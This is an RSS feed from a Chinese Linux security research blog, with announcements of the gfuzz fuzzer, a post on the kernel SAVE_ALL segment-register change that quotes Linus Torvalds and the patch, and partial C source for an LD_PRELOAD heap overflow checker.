<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:content="http://purl.org/Rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>Grip2 Blog -- Linux Security Research</title><link>http://www.i170.com/user/grip2/Rss</link><description></description><language>zh-cn</language><pubDate>Thu, 09 Feb 2012 21:49:19  +0800</pubDate><generator>i170.com</generator><image><title>Grip2 Blog -- Linux Security Research</title><url></url><link>http://www.i170.com/user/grip2/Rss</link></image> <item><link>http://www.i170.com/Article/119599</link><title><![CDATA[gfuzz updated to 0.3.0]]></title><author>grip2</author><category>网络安全</category><pubDate>Wed, 18 Nov 2009 16:21:54  +0800</pubDate><description><![CDATA[<p>
加入inj_proto注入插件，用于协议FUZZING。此功能可以方便的自定义构造协议报文格式，并自由指定FUZZ范围（或某类型的协议域或某指定范围），然后通过UDP或TCP注入（发送）到远程服务。</p>
<p>&nbsp;</p>
<p>
http://docs.google.com/Doc?docid=0AVjbrJHtHYMlZGM2ZG1tZDJfM2N4cTQ1Mmdr&amp;hl=en</p>
<p>下载文本，uudecode解码出压缩文件，然后解压编译即可。非严格测试之程序，无产品级文档，有问题欢迎反馈。</p>
<p>&nbsp;</p>

]]></description><guid>http://www.i170.com/Article/119599</guid><trackback:ping>http://www.i170.com/Article/119599/trackback</trackback:ping><comments>http://www.i170.com/Article/119599#comment</comments><wfw:commentRss>http://www.i170.com/Article/119599/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/101721</link><title><![CDATA[A simple, extensible fuzzer - gfuzz]]></title><author>grip2</author><category>网络安全</category><pubDate>Fri, 07 Mar 2008 11:42:15  +0800</pubDate><description><![CDATA[<p>
一个简单的、易于扩展的、易于使用的fuzzer程序。目标是(尝试)提供一个能提高不同fuzz程序间功能和代码重用程度、简化新fuzz程序开发步骤，提高开发效率的一个环境。新的fuzz功能模块通过插件的方式加入，目前提供了三个简单的fuzz插件。随着fuzz类型的不断增加，架构可能还需要不断的调整，现在仅仅是一个开始。</p>
<p>下载地址：</p>
<p>gfuzz 0.2.1</p>
<p>http://docs.google.com/Doc?id=dc6dmmd2_1dx9x3thh</p>

]]></description><guid>http://www.i170.com/Article/101721</guid><trackback:ping>http://www.i170.com/Article/101721/trackback</trackback:ping><comments>http://www.i170.com/Article/101721#comment</comments><wfw:commentRss>http://www.i170.com/Article/101721/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/101737</link><title><![CDATA[Linux内核2.4.x和2.6.x版本，SAVE_ALL宏的变化]]></title><author>grip2</author><category>Linux Kernel</category><pubDate>Thu, 06 Mar 2008 15:58:48  +0800</pubDate><description><![CDATA[<p>&lt;by Grip2&gt;</p>
<p>&nbsp;</p>
<p>对比Linux内核2.4.x和2.6.x版本，我们可以发现SAVE_ALL宏中一个有趣的变化，代码如下：<br>
<br>
kernel 2.4.x:<br>
&nbsp; 87#define SAVE_ALL \<br>
&nbsp; 88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cld; \<br>
&nbsp; 89&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %es;
\<br>
&nbsp; 90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ds;
\<br>
&nbsp; 91&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %eax;
\<br>
&nbsp; 92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebp;
\<br>
&nbsp; 93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edi;
\<br>
&nbsp; 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi;
\<br>
&nbsp; 95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx;
\<br>
&nbsp; 96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx;
\<br>
&nbsp; 97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx;
\<br>
&nbsp; 98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
$(__KERNEL_DS),%edx; \<br>
&nbsp; 99&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx,%ds;
\<br>
&nbsp;100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
%edx,%es;<br>
<br>
kernel 2.6.x:<br>
&nbsp; 84#define SAVE_ALL \<br>
&nbsp; 85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cld; \<br>
&nbsp; 86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %es;
\<br>
&nbsp; 87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ds;
\<br>
&nbsp; 88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %eax;
\<br>
&nbsp; 89&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebp;
\<br>
&nbsp; 90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edi;
\<br>
&nbsp; 91&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi;
\<br>
&nbsp; 92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx;
\<br>
&nbsp; 93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx;
\<br>
&nbsp; 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx;
\<br>
&nbsp; 95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl
$(__USER_DS), %edx; \<br>
&nbsp; 96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds;
\<br>
&nbsp; 97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl %edx,
%es;<br>
<br>
可以看到__KERNEL_DS被__USER_DS替换。</p>
<p>WHY ?!</p>
<p>在看答案之前，尝试自己解释一下……</p>
<p class="partingline">[separator]</p>
<p>关于这个问题，我就不多说了，我们看Linus在内核邮件列表中的解释：<br>
<br>
http://www.spinics.net/lists/kernel/old/2002-q4/msg23132.html<br>
<br>
Re: Intel P6 vs P7 system call performance<br>
<br>
&nbsp;&nbsp;&nbsp; * To: Ingo Molnar &lt;mingo@elte.hu&gt;<br>
&nbsp;&nbsp;&nbsp; * Subject: Re: Intel P6 vs P7 system call
performance<br>
&nbsp;&nbsp;&nbsp; * From: Linus Torvalds
&lt;torvalds@transmeta.com&gt;<br>
&nbsp;&nbsp;&nbsp; * Date: Tue, 24 Dec 2002 11:36:55 -0800
(PST)<br>
&nbsp;&nbsp;&nbsp; * Cc: Jamie Lokier
&lt;lk@tantalophile.demon.co.uk&gt;, Ulrich Drepper
&lt;drepper@redhat.com&gt;, &lt;bart@etpmod.phys.tue.nl&gt;,
&lt;davej@codemonkey.org.uk&gt;, &lt;hpa@transmeta.com&gt;,
&lt;terje.eggestad@scali.com&gt;, &lt;matti.aarnio@zmailer.org&gt;,
&lt;hugh@veritas.com&gt;, &lt;linux-kernel@vger.kernel.org&gt;<br>
&nbsp;&nbsp;&nbsp; * In-reply-to:
&lt;Pine.LNX.4.44.0212221111080.31068-100000@localhost.localdomain&gt;<br>

&nbsp;&nbsp;&nbsp; * Sender: linux-kernel-owner@vger.kernel.org<br>
<br>
Ok, one final optimization.<br>
<br>
We have traditionally held ES/DS constant at __KERNEL_DS in the
kernel,<br>
and we've used that to avoid saving unnecessary segment registers
over<br>
context switches etc.<br>
<br>
I realized that there is really no reason to use __KERNEL_DS for
this, and<br>
that as far as the kernel is concerned, the only thing that matters
is<br>
that it's a flat 32-bit segment. So we might as well make the
kernel<br>
always load ES/DS with __USER_DS instead, which has the advantage
that we<br>
can avoid one set of segment loads for the "sysenter/sysexit"
case.<br>
<br>
(We still need to load ES/DS at entry to the kernel, since we
cannot rely<br>
on user space not trying to do strange things. But once we load
them with<br>
__USER_DS, we at least don't need to restore them on return to user
mode<br>
any more, since "sysenter" only works in a flat 32-bit user mode
anyway<br>
(*)).<br>
<br>
This doesn't matter much for a P4 (surprisingly, a P4 does very
well<br>
indeed on segment loads), but it does make a difference on
PIII-class<br>
CPU's.<br>
<br>
This makes a PIII do a "getpid()" system call in something like
160<br>
cycles (a P4 is at 430 cycles, oh well).<br>
<br>
Ingo, would you mind taking a look at the patch, to see if you see
any<br>
paths where we don't follow the new segment register rules. It
looks like<br>
swsuspend isn't properly saving and restoring segment register
contents.<br>
so that will need double-checking (it wasn't correct before either,
so<br>
this doesn't make it any worse, at least).<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Linus<br>
<br>
(*) We could avoid even that initial load by instead _testing_ that
the<br>
values are the correct ones and jumping out if not, but I worry
about vm86<br>
mode being able to fool us with segments that have the right
selectors but<br>
the wrong segment caches. I disabled sysenter for vm86 mode, but
it's so<br>
subtle that I prefer just doing the segment loads rather than doing
two<br>
moves and comparisons.<br>
<br>
###########################################<br>
# The following is the BitKeeper ChangeSet Log<br>
# --------------------------------------------<br>
# 02/12/24&nbsp;&nbsp;&nbsp;
torvalds@home.transmeta.com&nbsp;&nbsp;&nbsp; 1.953<br>
# Make the default values for DS/ES be the _user_ segment
descriptors<br>
# on x86 - the kernel doesn't really care (as long as it's all flat
32-bit),<br>
# and it means that the return path for sysenter/sysexit can avoid
re-loading<br>
# the segment registers.<br>
#<br>
# NOTE! This means that _all_ kernel code (not just the sysenter
path) must<br>
# be appropriately changed, since the kernel knows the conventions
and doesn't<br>
# save/restore DS/ES internally on context switches etc.<br>
# --------------------------------------------<br>
#<br>
diff -Nru a/arch/i386/kernel/entry.S b/arch/i386/kernel/entry.S<br>
--- a/arch/i386/kernel/entry.S&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
+++ b/arch/i386/kernel/entry.S&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
@@ -91,18 +91,21 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %ecx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %ebx; \<br>
-&nbsp;&nbsp;&nbsp; movl $(__KERNEL_DS), %edx; \<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS), %edx; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %es;<br>
<br>
-#define RESTORE_REGS&nbsp;&nbsp;&nbsp; \<br>
+#define RESTORE_INT_REGS \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ebx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ecx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %edx;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %esi;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %edi;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;&nbsp;&nbsp;&nbsp; popl %ebp;&nbsp;&nbsp;&nbsp; \<br>
-&nbsp;&nbsp;&nbsp; popl %eax;&nbsp;&nbsp;&nbsp; \<br>
+&nbsp;&nbsp;&nbsp; popl %eax<br>
+<br>
+#define RESTORE_REGS&nbsp;&nbsp;&nbsp; \<br>
+&nbsp;&nbsp;&nbsp; RESTORE_INT_REGS; \<br>
&nbsp;1:&nbsp;&nbsp;&nbsp; popl %ds;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;2:&nbsp;&nbsp;&nbsp; popl %es;&nbsp;&nbsp;&nbsp; \<br>
&nbsp;.section .fixup,"ax";&nbsp;&nbsp;&nbsp; \<br>
@@ -271,9 +274,9 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl TI_FLAGS(%ebx), %ecx<br>
&nbsp;&nbsp;&nbsp;&nbsp; testw $_TIF_ALLWORK_MASK, %cx<br>
&nbsp;&nbsp;&nbsp;&nbsp; jne syscall_exit_work<br>
-&nbsp;&nbsp;&nbsp; RESTORE_REGS<br>
-&nbsp;&nbsp;&nbsp; movl 4(%esp),%edx<br>
-&nbsp;&nbsp;&nbsp; movl 16(%esp),%ecx<br>
+&nbsp;&nbsp;&nbsp; RESTORE_INT_REGS<br>
+&nbsp;&nbsp;&nbsp; movl 12(%esp),%edx<br>
+&nbsp;&nbsp;&nbsp; movl 24(%esp),%ecx<br>
&nbsp;&nbsp;&nbsp;&nbsp; sti<br>
&nbsp;&nbsp;&nbsp;&nbsp; sysexit<br>
<br>
@@ -428,7 +431,7 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %esp, %edx<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %esi&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # push the error code<br>
&nbsp;&nbsp;&nbsp;&nbsp; pushl %edx&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # push the pt_regs
pointer<br>
-&nbsp;&nbsp;&nbsp; movl $(__KERNEL_DS), %edx<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS), %edx<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %ds<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %edx, %es<br>
&nbsp;&nbsp;&nbsp;&nbsp; call *%edi<br>
diff -Nru a/arch/i386/kernel/head.S b/arch/i386/kernel/head.S<br>
--- a/arch/i386/kernel/head.S&nbsp;&nbsp;&nbsp; Tue Dec 24 11:34:28
2002<br>
+++ b/arch/i386/kernel/head.S&nbsp;&nbsp;&nbsp; Tue Dec 24 11:34:28
2002<br>
@@ -235,12 +235,15 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; lidt idt_descr<br>
&nbsp;&nbsp;&nbsp;&nbsp; ljmp $(__KERNEL_CS),$1f<br>
&nbsp;1:&nbsp;&nbsp;&nbsp; movl
$(__KERNEL_DS),%eax&nbsp;&nbsp;&nbsp; # reload all the segment
registers<br>
-&nbsp;&nbsp;&nbsp; movl %eax,%ds&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # after changing gdt.<br>
+&nbsp;&nbsp;&nbsp; movl %eax,%ss&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # after changing gdt.<br>
+<br>
+&nbsp;&nbsp;&nbsp; movl $(__USER_DS),%eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # DS/ES contains default USER segment<br>
+&nbsp;&nbsp;&nbsp; movl %eax,%ds<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%es<br>
+<br>
+&nbsp;&nbsp;&nbsp; xorl %eax,%eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # Clear FS/GS and LDT<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%fs<br>
&nbsp;&nbsp;&nbsp;&nbsp; movl %eax,%gs<br>
-&nbsp;&nbsp;&nbsp; movl %eax,%ss<br>
-&nbsp;&nbsp;&nbsp; xorl %eax,%eax<br>
&nbsp;&nbsp;&nbsp;&nbsp; lldt %ax<br>
&nbsp;&nbsp;&nbsp;&nbsp; cld&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; # gcc2 wants the direction flag cleared at all
times<br>
&nbsp;#ifdef CONFIG_SMP<br>
diff -Nru a/arch/i386/kernel/process.c
b/arch/i386/kernel/process.c<br>
--- a/arch/i386/kernel/process.c&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
+++ b/arch/i386/kernel/process.c&nbsp;&nbsp;&nbsp; Tue Dec 24
11:34:28 2002<br>
@@ -219,8 +219,8 @@<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.ebx = (unsigned long) fn;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.edx = (unsigned long) arg;<br>
<br>
-&nbsp;&nbsp;&nbsp; regs.xds = __KERNEL_DS;<br>
-&nbsp;&nbsp;&nbsp; regs.xes = __KERNEL_DS;<br>
+&nbsp;&nbsp;&nbsp; regs.xds = __USER_DS;<br>
+&nbsp;&nbsp;&nbsp; regs.xes = __USER_DS;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.orig_eax = -1;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.eip = (unsigned long)
kernel_thread_helper;<br>
&nbsp;&nbsp;&nbsp;&nbsp; regs.xcs = __KERNEL_CS;<br>
<br>
-</p>

]]></description><guid>http://www.i170.com/Article/101737</guid><trackback:ping>http://www.i170.com/Article/101737/trackback</trackback:ping><comments>http://www.i170.com/Article/101737#comment</comments><wfw:commentRss>http://www.i170.com/Article/101737/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/38516</link><title><![CDATA[Linux堆溢出检查工具 -- Linux Heap overflow Checker v0.2.0]]></title><author>grip2</author><category>网络安全</category><pubDate>Mon, 11 Sep 2006 14:48:42  +0800</pubDate><description><![CDATA[<p>
一个简单的小工具。这个工具可以在溢出发生时crash进程，这样就可以准确的确定堆溢出点。使用这个功能需要编译时指定编译模式：</p>
<p>MODE=-DGHC_CRASH_MODE</p>
<p>&nbsp;</p>
<p>下面是代码：</p>
<p>--------------------------------------------------------</p>
<p>#!/bin/bash<br>
##<br>
# Heap overflow Checker<br>
# Version: 0.2.0<br>
# Written by grip2 &lt;gript2@hotmail.com&gt;<br>
##<br>
<br>
mkdir heapof_check<br>
cd heapof_check<br>
<br>
## README<br>
cat &lt;&lt; __EOF__ &gt; README<br>
grip2@debian:~/heapof_check$ ls<br>
Makefile&nbsp; README&nbsp; ghc.c&nbsp; test.c</p>
<p class="partingline">[separator]</p>
<p><br>
grip2@debian:~/heapof_check$ make<br>
gcc -shared -o ghc.so -fPIC ghc.c -nostdlib -ldl -Wall<br>
ghc.c:30: warning: integer constant is too large for 'long'
type<br>
<br>
grip2@debian:~/heapof_check$ export
LD_PRELOAD=/home/grip2/heapof_check/ghc.so<br>
<br>
grip2@debian:~/heapof_check$ ./test<br>
[** warning **]&nbsp; head overflow at 0x80496d0<br>
[** warning **]&nbsp; tail overflow at 0x80496f0<br>
[** error **]&nbsp;&nbsp;&nbsp; free NULL pointer<br>
<br>
grip2@debian:~/heapof_check$ export LD_PRELOAD=<br>
grip2@debian:~/heapof_check$<br>
__EOF__<br>
<br>
## ghc.c<br>
cat &lt;&lt; __EOF__ &gt; ghc.c<br>
/**<br>
&nbsp;* ghc.c -- Heap overflow Check<br>
&nbsp;* version: 0.2.0<br>
&nbsp;* Written by grip2 &lt;gript2@hotmail.com&gt;
&lt;chenyu@venustech.com.cn&gt;<br>
&nbsp;*/<br>
<br>
#define _GNU_SOURCE&nbsp;&nbsp;&nbsp; /* for RTLD_NEXT */<br>
#include &lt;dlfcn.h&gt;<br>
<br>
#include &lt;malloc.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;assert.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
<br>
#include &lt;asm/page.h&gt;&nbsp;&nbsp;&nbsp; /* for PAGE_SIZE
*/<br>
<br>
enum { /* memory Alloc MODE */<br>
&nbsp;&nbsp;&nbsp; AMODE_MALLOC = 0,<br>
#define AMDOE_MALLOC AMODE_MALLOC<br>
&nbsp;&nbsp;&nbsp; AMODE_SBRK,<br>
#define AMDOE_SBRK AMODE_SBRK<br>
};<br>
<br>
#define hc_log(...) &nbsp;&nbsp;&nbsp; do { printf(__VA_ARGS__);
printf("\n");&nbsp;&nbsp;&nbsp; } while (0)<br>
<br>
void *malloc(size_t size);<br>
void free(void *ptr);<br>
void *realloc(void *ptr, size_t size);<br>
void *calloc(size_t nmemb, size_t size);<br>
<br>
static void __hc_init(void);<br>
<br>
typedef void *malloc_t(size_t size);<br>
static malloc_t *pmalloc;<br>
typedef void free_t(void *);<br>
static free_t *pfree;<br>
<br>
#ifndef GHC_CRASH_MODE<br>
typedef long long magic_stamp_t;<br>
static magic_stamp_t magic_stamp = 0x1976112619770116;<br>
#endif<br>
<br>
static volatile int init_flag = 0;&nbsp;&nbsp;&nbsp; /* for
pmalloc, pfree, etc. */<br>
int hc_lock = 0;<br>
<br>
#if 0<br>
int main(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; char *banner = "** ghc.so - Heap overflow
Check.\n"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "** Version 0.2.0\n"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Written by grip2
&lt;gript2@hotmail.com&gt; &lt;chenyu@venustech.com.cn&gt;\n";<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
#endif<br>
<br>
static void __hc_init(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; char *error;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** Heap overflow Checker init
...\n");<br>
#endif&nbsp;&nbsp;&nbsp;<br>
<br>
&nbsp;&nbsp;&nbsp; dlerror(); /* see man dlsym */<br>
&nbsp;&nbsp;&nbsp; pmalloc = (malloc_t *) dlsym(RTLD_NEXT,
"malloc");<br>
&nbsp;&nbsp;&nbsp; if ((error = dlerror()) != NULL)
{&nbsp;&nbsp;&nbsp; /* JFF: man dlerror */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "in %s line
%d: %s\n", __FILE__, __LINE__,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
error);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; pfree = (free_t *) dlsym(RTLD_NEXT, "free");<br>
&nbsp;&nbsp;&nbsp; if ((error = dlerror()) != NULL) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stderr, "in %s line
%d: %s\n", __FILE__, __LINE__, error);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return;<br>
err:<br>
&nbsp;&nbsp;&nbsp; exit(-1);&nbsp;&nbsp;&nbsp; /* kill program is
better than continue */<br>
}<br>
<br>
static void safe_hc_init(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; int val;<br>
<br>
&nbsp;&nbsp;&nbsp; val = 1;<br>
&nbsp;&nbsp;&nbsp; __asm__ volatile (<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "xchgl %1,%0"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"=r" (hc_lock)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"m" (val), "0" (hc_lock)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :"memory");<br>
<br>
&nbsp;&nbsp;&nbsp; if (!val) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; __hc_init();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; init_flag = 1;<br>
&nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while (init_flag == 0);<br>
&nbsp;&nbsp;&nbsp; }<br>
}<br>
<br>
#ifndef GHC_CRASH_MODE<br>
static inline void *get_head_from_user(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
<br>
&nbsp;&nbsp;&nbsp; pmem = (char *) ptr - sizeof(magic_stamp) -
2*sizeof(int);<br>
&nbsp;&nbsp;&nbsp; return pmem;<br>
}<br>
<br>
static inline void *get_user_from_head(void *pmem)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *ptr;<br>
<br>
&nbsp;&nbsp;&nbsp; ptr = (char *) pmem + sizeof(magic_stamp) +
2*sizeof(int);<br>
&nbsp;&nbsp;&nbsp; return ptr;<br>
}<br>
<br>
static int memcheck(void *pmem)<br>
{<br>
&nbsp;&nbsp;&nbsp; magic_stamp_t tail_stamp, head_stamp;<br>
&nbsp;&nbsp;&nbsp; int size, size2; /* don't use size_t or unsigned
type */<br>
&nbsp;&nbsp;&nbsp; int res = 0;<br>
&nbsp;&nbsp;&nbsp; void *ptr;<br>
<br>
&nbsp;&nbsp;&nbsp; /* get head stamp */<br>
&nbsp;&nbsp;&nbsp; memcpy(&amp;head_stamp, pmem,
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; if (memcmp(&amp;head_stamp, &amp;magic_stamp,
sizeof(magic_stamp)) != 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
head overflow at %p (stamp)", pmem);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; res = -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; /* check length section */<br>
&nbsp;&nbsp;&nbsp; size = *(int *) ((char *) pmem +
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; size2 = *(int *) ((char *) pmem +
sizeof(head_stamp) + sizeof(int));<br>
&nbsp;&nbsp;&nbsp; if (size != size2 || size &lt; 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
head overflow at %p (user length)", (char *) pmem +
sizeof(head_stamp));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; /* get tail stamp */<br>
&nbsp;&nbsp;&nbsp; ptr = get_user_from_head(pmem);<br>
&nbsp;&nbsp;&nbsp; memcpy(&amp;tail_stamp, ptr + size,
sizeof(tail_stamp));<br>
&nbsp;&nbsp;&nbsp; if (memcmp(&amp;tail_stamp, &amp;magic_stamp,
sizeof(magic_stamp)) != 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hc_log("[** warning **]\t
tail overflow at %p", (char *) pmem + size);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return res;<br>
}<br>
#endif /* ifndef GHC_CRASH_MODE */<br>
<br>
static inline size_t get_user_size(void *ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; size_t size;<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; size = *(int *) (ptr - sizeof(unsigned long) -
sizeof(unsigned int));<br>
#else<br>
&nbsp;&nbsp;&nbsp; void *pmem;<br>
&nbsp;&nbsp;&nbsp; pmem = get_head_from_user(ptr);<br>
&nbsp;&nbsp;&nbsp; if (memcheck(pmem) != 0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -1;<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; size = *(int *) ((char *) pmem +
sizeof(magic_stamp));<br>
#endif<br>
&nbsp;&nbsp;&nbsp; return size;<br>
}<br>
<br>
static void *__ghc_alloc(size_t size, int mode)<br>
{<br>
&nbsp;&nbsp;&nbsp; void *pmem, *ptr = NULL;<br>
&nbsp;&nbsp;&nbsp; size_t realsize;<br>
<br>
#ifdef GHC_DEBUG<br>
&nbsp;&nbsp;&nbsp; printf("** __ghc_alloc -- mode [%d]\n",
mode);<br>
#endif<br>
<br>
#ifdef GHC_CRASH_MODE<br>
&nbsp;&nbsp;&nbsp; /**<br>
&nbsp;&nbsp;&nbsp; &nbsp;* memory map: | stuff1&nbsp; | user_length
| real start_addr | user chunk | memory trap | stuff2 | */<br>
&nbsp;&nbsp;&nbsp; realsize = sizeof(unsigned int)
&nbsp;&nbsp;&nbsp; /* user_length */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
sizeof(unsigned long)&nbsp;&nbsp;&nbsp; /* start_addr */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
size&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /*
user chunk */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
PAGE_SIZE &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* trap */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; +
